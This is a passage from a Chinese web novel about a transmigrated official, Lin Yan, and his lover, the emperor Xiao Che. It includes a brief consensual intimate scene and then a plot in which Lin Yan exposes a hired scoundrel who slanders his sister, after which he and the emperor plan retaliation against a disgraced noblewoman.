林砚明显感觉到压在自己身上的重量凝滞了,连那灼热的呼吸都似乎漏跳了一拍。 他推了推萧彻:“陛下是不是要休息一会儿?” “爱卿说什么?”萧彻决定身体力行地告诉身下这个人,有些时候,还是收敛一点比较好。 他很不禁激。 皇帝陛下的恢复能力和心理素质显然是顶级的,那片刻的凝滞之后,他像是被某种奇异的胜负欲点燃,攻势更猛了些。 只是这攻势悄然转了方向,不再局限于亲吻。 温热的手掌探入衣襟,带着薄茧的指腹抚过皮肤,引起一阵细密的战栗。林砚呼吸一窒,所有的胡思乱想瞬间被这陌生的触感驱散。 “萧彻……”他声音发颤,带着自己都未察觉的慌乱和邀请。 萧彻吻了吻他的耳垂,声音沙哑得不成样子:“含章,帮帮我。” 后续的一切如同脱缰的野马,朝着林砚未曾预料的方向狂奔而去。 他半推半就,或者说,在对方高超的技艺和强烈的攻势下,压根儿生不出多少推拒之力。 萧彻从林砚那里讨要到了一双平日里只会拿笔批文书的手,用于解决另一桩更为紧迫的“公务”。 林砚面红耳赤,几乎是闭着眼,凭着在现代信息爆炸时代被动接收到的某些理论知识,生涩又大胆地尝试。 萧彻似乎没料到林砚会有这般手段,闷哼一声,爽得脊背绷紧,指节都泛了白,仿佛连魂魄都要被那笨拙又努力的手法攫取出去,不知天地为何物。 只是皇帝陛下显然天赋异禀且持久,林砚手酸得不行,感觉腕子都快不是自己的了,那汹涌的浪潮才堪堪平息。 然而事情并未结束。 萧彻自己畅快了,自然投桃报李。 和林砚那双执笔的纯粹文人的手不同,萧彻是习武之人,手掌宽大,指节分明,力道控制得极好,尤其是虎口和指腹处那些经年累月留下的薄茧,每一次都带着令人头皮发麻的粗粝触感。 林砚哪里经受过这个,几乎是瞬间就溃不成军,很快就在对方熟练的掌控下颤抖着交代了出去,脑子里一片空白,只剩下绚烂的烟花噼啪炸响。 云收雨歇。 内殿里弥漫着一种难以言喻的暧昧气息。 林砚瘫软在龙榻上,气喘吁吁,短暂的空白过后,巨大的羞耻感后知后觉地汹涌而来,瞬间将他淹没。 他猛地扯过旁边散乱的锦被,一股脑儿把自己从头到脚严严实实地裹了起来,活像一只巨大的蚕宝宝,坚决不肯面对现实。 萧彻看着他这鸵鸟行为,低低地笑出声,胸腔震动,带着事后的满足和慵懒。 他试图将人从被卷里挖出来:“好了,出来,当心闷坏了。” 蚕宝宝扭动了一下,裹得更紧了,闷闷的声音从被子里传出来:“……别管我。” 声音里充满了生无可恋的羞愤。 萧彻又是好笑又是心疼,怕他真憋着,手上用了点巧劲,总算将被子掀开一条缝,把那张红得快要滴血的脸蛋扒拉出来。 林砚紧闭着眼,长睫颤抖,死活不肯睁开。 “起来,朕唤人备水,伺候你沐浴后再睡。”萧彻拍了拍他的脸颊,手感滚烫。 林砚像是被针扎了一样,猛地睁开眼,眼底还有未散的水汽和浓浓的惊慌:“不不不!我自己去!不用陛下伺候!” 他是真怕萧彻兴致上来,非要亲自“帮忙”洗澡,那场面,他光是想想就恨不能原地蒸发。 强烈的羞耻心战胜了身体的疲软,林砚爆发出惊人的潜力,一把掀开被子,也顾不上身上黏腻不适,几乎是连滚带爬地跌下龙榻,随手抓起一件不知是谁的寝衣胡乱披上,脚步虚浮却又快得像逃命般,踉踉跄跄地冲向了殿后专设的浴间。 萧彻看着林砚落荒而逃的背影,终于没忍住,倒在榻上闷声笑了起来,笑声愉悦而畅快。 等到林砚把自己里里外外洗刷干净,带着一身水汽和沐浴后的清香,做贼似的溜回内殿时,发现地上散落的文书已经被收拾整齐,龙榻上的寝具也换了一套全新的,干燥而柔软。 萧彻已经倚在榻上,手里随意翻着一本书,见他回来,便放下书,拍了拍身边空着的位置。 林砚脸颊又是一热,磨磨蹭蹭地走过去,掀开被子一角,飞快地钻了进去,再次把自己裹紧,只露出一双眼睛在外面,滴溜溜地转着,就是不敢看萧彻。 萧彻眼底漾着笑意,吹熄了床头的灯烛,将他连人带被子揽进怀里。 “睡吧。”他在林砚发顶落下一个轻柔的吻。 黑暗中,林砚紧绷的身体渐渐放松下来,身后是萧彻可靠的胸膛,鼻尖萦绕着令人安心的气息。 疲惫和困意如潮水般涌上,林砚小声嘟囔了一句谁也听不清的话,往身后的热源里又缩了缩,很快便沉沉睡去。 萧彻听着他逐渐均匀绵长的呼吸,把人从被子卷里薅出来收进了自己的手臂之间。 心口被一种难以言喻的饱胀感填满,皇帝陛下也有了寻常人的惦记。 看来,日后得多找些“公务”,留他的林侍郎在宫中“夜谈”才好。 这样的“夜谈”,多多益善。 第92章 第 92 章 放他爹的螺旋屁!…… 林砚和褚晔在户部公廨那堆积如山的宗室账册里埋头苦干, 算盘珠子拨得噼啪响。 空气里弥漫着陈旧纸张的霉味和褚晔身上淡淡的墨香,林砚觉得自己快要被这些百年老账腌入味了。 第一百零一次感慨,穿越前给缺德领导做PPT, 穿越后给皇帝男朋友的奇葩亲戚算烂账, 社畜的命也是命。 就在林砚对着某位郡王的离谱账单翻白眼时,林府的一个小厮气喘吁吁连滚带爬地冲了进来, 脸白得跟刚刷的墙似的。 “少、少爷!不好了!府门口、府门口……”小厮跑得太急,话都说不利索。 林砚放下手里的账册给小厮倒了一杯水递过去:“家里发生了何事?慢慢说。” 小厮喝了水, 又猛喘几口气,总算把舌头捋直了:“有个无赖汉,带着个媒婆,在咱们府门口嚷嚷,说、说……” 小厮难以启齿, 压低声音:“说咱家小姐赠了他定情的手帕,他跟大小姐两情相悦,非要进府提亲!还说、还说大小姐除了他没人能要了!围了好多人看热闹!” 林砚一股邪火“噌”地就从脚底板直冲天灵盖。 放他爹的螺旋屁! 他妹妹虽说性子活泼些,但也是正经官家小姐,平日里出门都有丫鬟婆子跟着,规矩极严, 怎么可能被这种下三滥的货色近身?还送定情信物?简直是天大的笑话! 这分明是冲着毁妹妹名声来的。 林砚第一时间就想到了那个被萧彻撸了爵位怀恨在心的荣阳郡君, 除了那个老太太,林家最近没有得罪过其他人。 旁边的褚晔也听明白了, 当即拍案而起,清瘦的脸上满是怒容:“岂有此理!光天化日之下,竟敢污蔑官家小姐清誉!林兄,我同你一起去会会这个狂徒!”说着就要撸袖子冲出去。 林砚虽然气得肝疼,但脑子还没糊涂, 一把按住即将暴走的褚晔:“褚兄且慢,你穿着这身官袍出去,跟一个市井无赖当街理论,赢了也是以官身欺压百姓,落不到好,反而容易授人以柄。” 褚晔一愣,看了看自己,发热的脑子冷却下来:“难道就任由他在那满口喷粪?” “自然不是。”林砚松开他,眼神冷冽,“对付这种拿着块破布就敢上门碰瓷的垃圾,还用不着你褚侍郎亲自下场,免得脏了手。” 褚晔放心不下,找了个同僚帮自己和林砚向张厚朴告假,随林砚回家。 马车一路疾驰,车轮碾过青石板路,发出急促的辘辘声。 林砚坐在车里,面沉如水,手指无意识地收紧。 褚晔在一旁看着林砚冷硬的侧脸,忍不住道:“林兄,你打算如何应对?这种人,讲道理怕是讲不通的。” 林砚扯了扯嘴角,露出一丝没什么温度的笑意:“讲道理?跟这种人有什么道理可讲?他既然敢来,无非是仗着众目睽睽,觉得我们官宦人家要脸面,不敢把他怎么样,最好能逼得我们为了息事宁人,捏着鼻子认下这门亲事,他好一步登天,吃上软饭。” 真是短剧看多了,以为全天下的天鹅肉都那么容易被癞蛤蟆叼走? 林府离户部公廨不远,马车一路飞奔很快就到了林府所在的街口。 果然,远远就看见府门前黑压压围了一大圈人,指指点点,议论纷纷,跟看大戏似的。 人群中央,一个穿着半新不旧绸衫,勉强算得上人模狗样的男人,正挥舞着一块水红色的手帕,唾沫横飞地嚷嚷着:“就是这家的小姐,与我两情相悦,私定了终身,这帕子就是信物!你们瞧瞧这绣工,这料子,是一般人家能用得起的吗?分明就是官家小姐的物件,我与林小姐那是郎情妾意,早已有了夫妻之实,她除了我,还能嫁给谁?今日我带了媒人前来,就是要堂堂正正提亲,快让我进去!” 他旁边果然站着一个涂脂抹粉的媒婆,也跟着帮腔:“就是就是!王婆我说媒几十年,这男欢女爱的事儿见得多了,林家小姐既然已经是我们王公子的人了,就该赶紧成就好事,也免得传出去不好听不是?” 围观的百姓们发出嗡嗡的议论声,有鄙夷的,有看热闹的,也有将信将疑的。 林砚的马车停在人群外围,他深吸一口气,对车里的褚晔道:“褚兄,你就在车里,千万别下来。” 说完,林砚推开车门,跳下马车,拨开人群,一步步走向自家大门。 管家如同见了救星,连忙迎上来,压低声音急道:“少爷,您可算回来了!夫人和表少爷都不在,就小姐在里头,老奴怕惊着小姐,没敢让她出来。” 林砚点点头,表示知道了。 他目光冷飕飕地扫过那个还在叫嚣的男人和媒婆。 那男人见正主来了,还是个年轻俊朗的官员,气焰非但没减,反而更嚣张了些,把手帕几乎杵到林砚眼前:“你就是林小姐的兄长?来得正好,快让你妹妹出来,我与她情投意合,今日就把亲事定下!” 林砚没理会那几乎要怼到鼻子上的手帕,甚至看都没仔细看那帕子一眼,他只是上下打量了那男人一番,然后发出一声嗤笑。 “你说你与我妹妹两情相悦,私定终身?” 那男人挺起胸膛:“当然!” “哦。”林砚点了点头,语气平淡得像是在问今天天气怎么样,“那我问你,你是何时、何地,与我妹妹相识的?当时有谁在场,可以作证?” “啊?”那男人显然没料到第一个问题竟是这个,卡壳了一下,眼神开始飘忽,“就、就是前些日子,在、在城外踏青的时候遇到的!” “前些日子?具体哪一日?城外何处?踏青的人那么多,怎么就你俩看对眼了?”林砚的问题一个接一个。 “我……我记不清具体日子了!反正就是遇到了!一见钟情不行吗?”男人开始胡搅蛮缠。 “一见钟情?”林砚真是无语笑了,“好,那我妹妹出门,身边必有丫鬟婆子跟随,你说你们私定终身,赠送信物,当时她的丫鬟婆子可在旁边?她们是谁?你指出来,或者说出名字,我立刻叫来对质。” 男人的额头开始冒汗,支支吾吾:“当时、当时就我们俩……她、她让下人避开了……” “避开?”林砚像是听到了什么天大的笑话,“光天化日,众目睽睽,她一个未出阁的官家小姐,让你一个陌生外男屏退左右,单独相处,还赠送贴身手帕?你当我林家是什么门风?又当我妹妹是什么人?” 围观人群顿时嗡嗡起来。 “是啊,林家可是书香门第,规矩大着呢!” “这无赖分明是信口开河!” “拿着块不知从哪儿偷来捡来的帕子就敢上门讹诈,真是黑了心肝!” 那男人被质问得哑口无言,脸涨得通红,梗着脖子强辩:“反正、反正这帕子就是她的!这就是证据!” “证据?”林砚冷笑,“一块随处可以买到的水红色帕子,绣着最常见的花样,你说是官家小姐的就是官家小姐的?我还说这帕子是你偷的呢,你空口白牙,一无具体时间地点,二无旁证人证,仅凭一块来路不明的帕子,就敢污蔑官眷清誉?” 林砚上前一步,逼近那男人,周身的气势陡然变得极具压迫感:“你可知,按《大渝律》,诬告陷害、毁人清誉,该当何罪?尤其诬陷的还是朝廷命官的家眷,罪加一等,你是想去衙门大牢里尝尝板子的滋味?” 那男人被林砚一连串的问题逼问得节节败退,额头冷汗涔涔,却仍死鸭子嘴硬,挥舞着那块水红色帕子,色厉内荏地叫道:“你、你少吓唬人!这帕子就是林小姐的!你们官宦人家就是想仗势欺人,不认账!” 旁边的媒婆也哆哆嗦嗦地帮腔:“就、就是!这信物还能有假?” 林砚看着他们这副不见棺材不掉泪的蠢样,气极反笑。 他慢条斯理地,从自己绯色官袍的袖袋里,摸出了一方素净的杭绢手帕。 那帕子质地细腻光滑,在阳光下泛着柔和的光泽,边角用银线绣着几竿疏竹,清雅别致,针脚细密得几乎看不见。 “仗势欺人?不认账?”林砚将手中的帕子轻轻一抖,展现在众人面前,语气带着十足的嘲讽,“睁开你的眼睛看清楚,这才是我林家用的东西,御赐的杭绢,宫里的绣娘手艺,你手里那块……” 林砚瞥了一眼那男人攥着的水红色帕子,嗤笑,“是从哪个路边摊买来的?也好意思拿来冒充官家小姐的物件?” 他上前一步,目光如冰刃般刮过那男人惨白的脸:“你口口声声说这帕子是我妹妹所赠,那我倒要问问,你这帕子,难道也是御赐的不成?若是御赐之物,你又是从何得来?偷的,还是抢的?这罪名,可就更大了。” “御赐的绢帛?” “天爷啊!” “拿块破布就想碰瓷用御绢的人家?失心疯了吧!” 那男人和媒婆如遭雷击,看着林砚手中那方明显高出不止一个档次的帕子,再对比自己手里这块,顿时面如土色,浑身筛糠般抖起来。 事实胜于雄辩,这脸打得啪啪响。 男人手一软,那块水红色破帕飘然落地。 他此刻哪里还想着什么天鹅肉软饭,只想赶紧离开这是非之地,拉着媒婆就想往人群里钻。 “想跑?”林砚眼神一厉,扬声道,“金九!” 话音未落,一道黑影如同鬼魅般悄无声息地出现在那男人和媒婆身后,众人甚至没看清动作,只听“哎哟”两声,那两人就被反剪双手,死死摁在了地上,动弹不得。 林砚踱步上前,居高临下地看着地上瘫软如泥的两人:“叫你们来的人,难道就没告诉你们,我林砚,不仅是户部侍郎,更是御前的红人?” “大人饶命!大人饶命啊!”那男人吓得魂飞魄散,涕泪横流,磕头如捣蒜,“是小人猪油蒙了心!是、是有人给了小人五十两银子,让小人来演这出戏,败坏林小姐名声!小人什么都不知道啊!” 媒婆也哭嚎着:“老婆子也是收了二十钱银子才来的!大人明鉴,不关老婆子的事啊!” 林砚嫌恶地皱紧眉头,懒得再听他们嚎叫,对金九挥挥手:“堵上嘴,扭送京兆府,告诉府尹大人,有人蓄意污蔑朝廷命官家眷,背后恐有主使,务必严加审问!” “是。”金九言简意赅,不知从哪掏出两块布利落地塞进两人嘴里,像拎小鸡一样把他们提溜起来。 处理完这俩货色,林砚转向周围尚未散去的围观百姓,脸上的寒意瞬间收敛,换上了温和又略带歉意的神情,对着管家吩咐道:“管家,去取些银钱来,给各位乡邻分一分,今日家中遭此无妄之灾,扰了各位清静,也让大家看了笑话,虽是我妹妹无辜受辱,但终究不是什么光彩之事,还望各位高邻看在林某的薄面上,莫要将今日之事外传,免得以讹传讹,坏了风气。” 管家立刻应声而去,很快捧来一托盘铜钱和碎银子,客气地分发给众人。 百姓们原本只是看热闹,没想到还能有这等好处,又见林砚这位年轻的侍郎大人说话如此客气周到,丝毫没有官架子,顿时好感倍增。 再结合刚才听到的“户部侍郎”、“御前红人”、“御赐绢帛”这些词,谁还敢乱嚼舌头?纷纷拍着胸脯保证。 “林大人放心!咱们都晓得轻重!” “绝不会乱说的!” “多谢大人赏!大人真是好官!” 众人拿了钱,又得了嘱咐,心满意足而又守口如瓶地散去了。 一场风波,总算平息。 林砚站在原地,看着瞬间清净下来的府门,长长舒了口气,揉了揉眉心。 他爹的,那老太太都被撸了郡君还如此嚣张跋扈,随便拿银子收买人就敢上他家门口撒野。 褚晔见事情已毕,跳下马车走到林砚身边:“林兄,你知晓背后主使?” 林砚点头,没瞒褚晔:“上巳节那日我回城路上遇到了一个宗亲老太太,那老太太不把阿古拉和其木格看在眼里,想仗势欺人,我管了一下,她当时便威胁过我。” 只是林砚到底不像荣阳郡君那样是个坏心思的人,况且皇帝下令严查宗室,宗室都恨不得当缩头乌龟,谁能想到还有人发疯了往上撞。 褚晔听完也是无语:“这种人太过无赖,要我说,你还是进宫同陛下知会一声,让陛下帮你出气。” 林砚打趣褚晔:“你提起陛下不紧张了?” 褚晔佯怒:“林兄,你过分了。” 林砚笑笑。 他自然是要去找萧彻的,知会一声哪里够,他妹妹也算是萧彻的妹妹,得让萧彻给他们妹妹好好出口恶气。 第93章 第 93 章 “见、见公婆?”…… 林砚转身进府, 穿过庭院时,那点冷厉气势瞬间垮掉,只剩下满心疲惫和一股子蹭蹭往外冒的火气。 荣阳郡君真是癞蛤蟆趴脚面——不咬人它恶心人!都被撸成白身了还不消停, 玩这种下三滥的招数。 林砚深吸一口气, 压下烦躁,调整好表情, 才往内院走去。 还没走近林墨的绣楼,就听见里面传来压抑的哭声。 林砚心里一抽, 加快脚步。 推门进去,只见林墨一个人趴在窗边的软榻上,肩膀一耸一耸的,哭得那叫一个伤心,旁边几个小丫鬟急得团团转, 又是递帕子又是低声劝慰,却没什么用。 “墨儿。”林砚唤了一声,声音放得特别轻。 林墨听到哥哥的声音,抬起一张梨花带雨的脸,眼睛又红又肿,看见林砚, 委屈更盛, “哇”地一声哭得更凶了:“哥!呜呜呜,我没做过, 他胡说八道!” 小丫鬟们见林砚来了,如同见了救星,连忙让开。 林砚赶紧走过去,坐在榻边,像小时候那样, 轻轻拍着妹妹的背:“好了好了,不哭了不哭了,哥知道,哥都知道,那混账东西满嘴喷粪,他的话能信?狗叫两声还能当真了?” 他拿过丫鬟手里的手帕给林墨擦脸:“喏,擦擦脸,都哭成小花猫了。” 林墨被哥哥这话逗得想笑,又忍不住哭,表情一时有点滑稽,接过帕子擦拭眼睛,带着哭腔问:“哥,外面的人都散了吗?他们会不会信了那无赖的话?我的名声是不是完了?以后我还怎么出门见人啊……” “散了散了。”林砚语气夸张,试图驱散妹妹的阴霾,“你哥我出马,一个顶俩!三言两语就把那家伙怼得原形毕露,大家的眼睛是雪亮的,都知道是碰瓷儿的,再说了,你哥你爹好歹是朝廷栋梁,谁敢乱嚼我们林家的舌头根子?” 林墨彻底不哭了,只是抽噎了两下,便问:“哥,这次是谁做的?” 林砚如实将上巳节那日发生的事情说给了林墨听,林墨听后,也是气笑了,正常人见多了,偶尔见到这么不正常的,简直难以理解。 “放心,她好不了。”林砚跟妹妹保证。 安抚好了妹妹,林砚这才觉得口干舌燥,灌下去一整杯凉茶,火气却没那么容易压下去。 他回到自己院子,金九已经如同影子般候在那里了。 “人送过去了?”林砚问。 “是,京兆尹亲自接的手,属下已言明大人之意。”金九回道。 林砚点点头,沉吟片刻道:“金九,还得再麻烦你一趟。” “大人请吩咐。” “今日这事,太巧了。”林砚眼神锐利,“我爹带着户部官员外出公干,得好些时日才回,我娘也只是带着文恪表格出去一日还愿,偏就我不在家这会儿,那无赖和媒婆就掐着点来了,荣阳郡君那边,必定派了人日夜盯着咱们府上的动静。” 他看向金九:“帮我查查,她派了多少人手,藏在哪些犄角旮旯盯梢,查清楚了,回来告诉我。” “是。”金九领命,却没有立刻离开。 林砚挑眉:“还有事?” 金九那张面瘫脸上罕见地出现了一丝迟疑,但还是开口道:“大人,此事……是否需禀报陛下?”毕竟涉及到了林砚。 林砚摆摆手:“你告诉陛下吧,不用瞒着。”他本来也打算等金九查清盯梢的事,就进宫去找萧彻告状。 金九这才躬身:“属下明白。”随即身影一闪,便消失在原地。 金九迅速直接奔着皇宫方向去了。 这事儿不小,涉及林大人家的女眷,更是陛下心尖尖上的人,他金九虽然是派给林大人的,但归根结底还是金影卫,是陛下的人,这种大事必须第一时间让陛下知晓。 萧彻刚批完一摞奏折,正捏着眉心缓解疲乏。 听完金九的禀报,萧彻的脸色瞬间沉得能滴出水来,眼底寒意森然。 “好,很好。”萧彻的声音冷得像冰碴子,“朕倒是小瞧了她的胆子。” 都被一撸到底了,还敢用这种下作手段来恶心林砚,威胁林家女眷。 “李德福!”萧彻扬声。 “老奴在。”李德福赶紧上前。 “去,把金一给朕叫来。” “是。” 很快,金一便悄无声息地出现在殿内:“陛下。” 萧彻面沉如水,吩咐道:“金九已经去查荣阳氏派出的盯梢人手了,你立刻带人接手,给朕掘地三尺,把所有藏在林府周围的眼线,一个不落,全都给朕揪出来,查清楚他们都是谁的人,受谁指使,盯了多久,传递过什么消息。” “朕倒要看看,除了她,还有没有人吃了熊心豹子胆。” “是!”金一神色一凛,立刻领命而去。 萧彻坐在龙椅上,指尖有一下没一下地敲着桌面,发出沉闷的声响。 他了解林砚,以林砚的性子,安抚好家人后,大概率会进宫来找他说道说道这事。 但他等不及了。 一想到林砚刚才在府门口被那种腌臜货色堵着叫嚣,想到林砚的妹妹可能受的委屈,萧彻就觉得心口那股邪火压不下去。 他忽然站起身:“李德福,更衣,朕要出宫。” 李德福一愣:“陛下,您这是要去……” “去林府。”萧彻补充道,“不必声张。” 他得亲自去瞧瞧,才能安心。 另一边,林砚刚吩咐完金九,正琢磨着是先去书房看会儿账册压压火,还是直接躺平等晚膳,就听见小厮匆匆来报:“少爷,门口、门口来了一位姓萧的公子,说是您的旧友,瞧着气度不凡,小的不敢怠慢,已经请到前厅了。” 姓萧?旧友? 林砚心里咯噔一下,瞬间闪过一个念头:不会吧?萧彻来了? 他赶紧整理了一下微皱的衣袍,快步走向前厅。 一进门,果然看见萧彻一身常服,正背着手站在厅中,打量着墙上一幅山水画,身姿挺拔,即便穿着常服,那股子迫人的气场也掩不住。 林砚连忙上前,压低声音:“你怎么来了?” 萧彻闻声回过头,目光在他脸上细细扫过,见他除了眉宇间残留着一丝倦色和怒气外,并无大碍,紧绷的心弦才稍稍松了些。 “不放心,过来看看。”萧彻的声音比在宫里时温和了许多,“家里都安抚好了?” 林砚点点头:“嗯,墨儿还好,就是受了点惊吓。” 他引着萧彻往自己院子走:“这里说话不方便,去我那儿。” 两人进了林砚的院子,林砚挥退了所有下人,关上房门。 没了外人,林砚那点强压下的火气和后怕才冒了点头,他吐出一口气,垮下肩膀:“今天真是无妄之灾,那老太婆……” “朕都知道。”萧彻打断他,伸手将他拉近,仔细看了看他的眼睛,“没吃亏就好。” 他的指尖微凉,拂过林砚的眉心,似乎想将那点褶皱抚平。 林砚任他动作,闷声道:“吃亏倒没有,就是恶心人,我已经让金九去查她派来盯梢的人了。” “此事朕会办好。”萧彻道,“朕已让金一亲自带人去查,很快就会有结果。” 林砚一愣,抬头看他:“你动作这么快?” “有人嫌命长,朕自然要成全她。”萧彻语气平淡,眼神却冷厉,“你放心,此事朕会给你,给林家一个交代,绝不会轻饶了她。” 林砚当然是相信萧彻的手段的,只是…… “我就是有点想不通,她都到这地步了,为什么还要作死?她难道看不清形势吗?你明明已经对宗室不满了,她这不是自己往刀口上撞?” 萧彻闻言,嗤笑一声,带着几分嘲讽:“有些人,习惯了高高在上,仗着那点血脉横行霸道惯了,是看不清形势的,她只会觉得是朕朕不念亲情,而绝不会认为自己有错,她这么做,一是泄愤,二是侥幸,觉得这种小打小闹,朕不会把她怎么样,说不定还能逼得你们林家忍气吞声,她好挽回点颜面。” 典型的我不好过,你们也别想好过的心态。 林砚无语:“脑子有病。” “病得不轻。”萧彻赞同地点头,随即又道,“不过她自己跳出来,正好给了朕一个由头,清理这些宗室毒瘤。” 萧彻没有详细说自己打算怎么“清理”,那些血腥阴暗的手段,他不想让林砚知道太多,怕脏了他的耳朵,也怕吓到他。 他只是看着林砚,保证道:“含章,你放心,以后不会再有人敢打林家,打你妹妹和父母的主意,朕会护着你们,谁再敢伸手,朕就剁了谁的爪子。” 林砚看着他认真的眼神,心里那点郁闷和火气渐渐被熨平。 他忽然起了点调侃的心思,歪头看着萧彻:“陛下,我们这还没拜堂呢,你就把我爹娘妹妹当成你自个儿的爹娘妹妹来护着了?这买卖你亏不亏啊?” 萧彻被他逗笑,伸手捏了捏他的脸颊:“怎么?朕提前行使一下权力不行?还是说,你不想认?” “认认认!”林砚笑着躲开他的手,“白捡个皇帝当靠山,这种好事我怎么会不认?” 玩闹两句,气氛轻松了不少。 萧彻像是忽然想起什么,语气变得自然又郑重:“说起来,是该找个时机,带你去拜见一下父皇和母后了。” “啊?”林砚一时没反应过来,“见、见公婆?” 萧彻看着他微微睁大的眼睛,语气放缓:“嗯,总得让他们见见,我把心给了谁。” 林砚的心跳忽然漏了一拍,脸颊有些发烫。 这话就是要带他去见家长,得到长辈的认可。 虽然那两位长辈已经…… 但这份心意,沉甸甸的。 林砚低下头,小声嘟囔:“……哦。” 看着林砚微红的耳根,萧彻眼底笑意更深,知道这事在他心里挂上号了,便不再多言,转而道:“事情交给朕解决,就别再为那种人烦心,朕出来的急,还没用晚膳,你陪朕吃点?” 林砚自然无有不从:“好,我让厨房去做几样你爱吃的。” “不必麻烦,简单些就好。”萧彻拉住他,“就在你院里吃,清静。” 两人相视一笑,窗外夕阳正好,将房间映得一片暖融—— 作者有话说:老登领导今天开会被逼得气急败坏,无能狂怒,为表庆祝,加更一章[比心] (偷偷说,前面的反派武海闵是老登领导名字的谐音) 第94章 第 94 章 “我得喷……咳咳,得参…… 暮色渐深, 林府各处陆续点起了灯。 很快下人便将几样清爽可口的菜肴并一壶温好的酒送进了林砚的院子。 菜色简单,是萧彻偏好的口味,两人安静地用着饭, 偶尔低声交谈几句, 气氛温馨而宁静。 饭毕,撤去碗碟, 林砚给萧彻斟了杯茶,自己也捧着一杯, 靠在窗边的软榻上,看着窗外沉沉的夜色,叹了口气。 萧彻闻声看去:“还在想那事?” 林砚摇摇头,又点点头:“也不全是,就是觉得, 有时候人心之恶,真是防不胜防,我自问没主动招惹过谁,只想守着家人,做好分内事,过安生日子, 可偏偏就有人见不得你好, 非要扑上来咬一口。” 穿越前应付职场倾轧已经够累,没想到穿越后, 换了时空换了身份,依旧逃不开这些龌龊算计。 萧彻放下茶杯,走到榻边坐下,将林砚揽入怀中,手掌轻轻拍着他的背, 如同安抚一个受了委屈的孩子。 “木秀于林,风必摧之。”萧彻的声音低沉而稳定,“你越好,越得朕心,自然就越会招来嫉恨,这不是你的错,是那些人心术不正。” 萧彻顿了顿,语气转为冷冽:“所以,对付这种人,就不能心慈手软,你退一步,她不会见好就收,只会得寸进尺,以为你好欺负,这次,必须让她彻底记住教训,也让其他有类似心思的人看看,动你,动林家,是什么下场。” 林砚靠在萧彻怀里,听着那沉稳的心跳,感受着话语里的维护与决心,心里那点郁气渐渐散了下去。 他抬起头,看着萧彻在灯火下也格外清晰的侧脸线条,问道:“那你打算怎么做?真让她……那个吗?” 林砚比了个抹脖子的手势。 萧彻失笑,屈指轻轻弹了下他的额头:“想什么呢?朕是暴君吗?为了这么个东西,还不值得脏了手,污了史书。” “死是解脱,只有活着才会感受到痛苦,不是吗?”萧彻问。 林砚眨眨眼,好奇起来:“那陛下打算如何让她痛苦?” 萧彻却卖了个关子,指尖绕着他一缕头发:“明日早朝,你便知道了,到时候,你只需按你想的做,朕给你撑腰。” 见萧彻不肯细说,林砚也不再追问,他对萧彻的手段还是有信心的,反正明天就能看结果,现在嘛…… 他打了个哈欠,有些乏了。 萧彻察觉他的困意,柔声道:“累了就早点歇息,朕也该回宫了。” 嘴上说着回宫,揽着林砚的手臂却没收回去。 林砚窝在他怀里,鼻尖全是令人安心的沉水香气,有点贪恋这份温暖,含糊道:“再待一会儿嘛,反正宫门落钥还早……” 萧彻从善如流,调整了下姿势,让林砚靠得更舒服些。 又过了约莫一炷香的时间,隐隐传来更夫打更的梆子声。 萧彻这才轻轻动了动:“真得走了。” 林砚也知道萧彻不能久留,虽然不舍,还是乖乖从他怀里起来,理了理微皱的衣袍:“我送你到门口。” 到底现在家里还不知道萧彻跟自己的关系,萧彻平白无故留在家里,待会母亲回来了也不好交代。 “不必,夜里风凉,你今日也辛苦了,好好休息。”萧彻按住他,自己站起身,仔细替他理了理鬓角,“明日早朝,朕等你。” 林砚会点点头:“嗯。” 萧彻深深看了林砚一眼,这才转身,带着等在外面的李德福,悄无声息地离开了林府。 送走了自家那位黏人又体贴的男朋友,林砚摸着似乎还残留着萧彻指尖温度的手,好一会儿才回过神来。 林砚揉揉脸,决定先去书房把弹劾的草稿打出来,气归气,正事不能忘,骂人也得有理有据。 人刚要往回走,就听见一阵急促的脚步声,还夹杂着文韫难得拔高的声线,虽然听不清具体内容,但那股子火气隔着老远都能感受到。 “娘,表哥,你们回来了。”林砚赶紧迎出去。 “岂有此理,真是欺人太甚!我们家是刨了她家祖坟还是怎的?竟用如此下作手段!墨儿呢?墨儿没事吧?”文韫显然是刚回府就听说了门口那场闹剧,饶是她素来温婉,此刻也气得脸色发白,胸口不住起伏。 “娘,您别动气,事情已经解决了。”林砚上前扶住文韫的手臂,轻声安抚,“墨儿没事,就是受了点惊吓,那无赖和媒婆也扭送了京兆府。” 文韫看到儿子,情绪稍缓,但怒火未消:“解决了?这次是解决了,下次呢?那起子小人躲在暗处,防不胜防!” 文恪在一旁也是脸色铁青,拳头握得紧紧的:“表弟,此事绝不能善罢甘休,墨妹妹平白受此大辱,若不严惩,日后岂非什么阿猫阿狗都敢来攀咬?” 林砚赶紧把两人让进屋里,吩咐丫鬟上茶,然后才将下午发生的事情,包括如何拆穿无赖、如何安抚林墨,以及萧彻承诺会处置荣阳郡君的事,简单说了一遍。 听到皇帝已经介入,文韫心下稍安,但眉宇间的忧色未褪:“陛下出手,自然能惩治她,只是这等人,如同跗骨之蛆,即便此次受了罚,只怕心中怨恨更甚,日后难免……” “所以光靠陛下惩治还不够。”林砚接过话头,“娘,您不是常与京中各位夫人往来吗?荣阳老太不是最看重她那点可怜的宗室脸面吗?那咱们就偏偏让她一点脸面都没有。” 文韫立刻明白了儿子的意思:“你是说让我在夫人圈子里……” “对。”林砚微微一笑,笑容里带着点冷意,“娘您只需在与其他夫人饮茶闲话时,装作不经意地提起她为何会被陛下厌恶,京城里的夫人们,哪个不是人精?消息传开,谁还敢与她往来?她不是爱脸面吗?咱们就让她在京城夫人圈子里,彻底混不下去。” 文韫听着儿子的话,露出赞同的神色 这确实是个好办法,杀人诛心,对于荣阳这种把面子看得比命还重的人来说,让她没脸只怕比打她一顿更让她痛苦。 “好,就这么办。”文韫重重一拍桌子,觉得儿子这主意甚合她意,“我看她以后还有什么脸面出门见人。” 文恪也点头赞同:“姑母出面,再合适不过。” 安抚好母亲,林砚便钻回了自己的书房,铺开纸,磨好墨,开始打草稿,准备明天早朝时弹劾荣阳郡君那一脉在朝中为官的人。 虽然萧彻保证只要他开口就会有人附议,但打铁还需自身硬,弹劾的奏章必须写得有理有据,逻辑清晰,一击必中。 他要把荣阳郡君的恶行与她那些在朝亲属可能存在的依仗权势、徇私舞弊等行为联系起来,就算不能立刻扳倒,也要狠狠撕下他们一层皮,让其他人不敢再轻易与这家扯上关系。 正写得投入,窗外传来极轻的叩击声。 林砚抬头,见金九不知何时已经站在窗外。 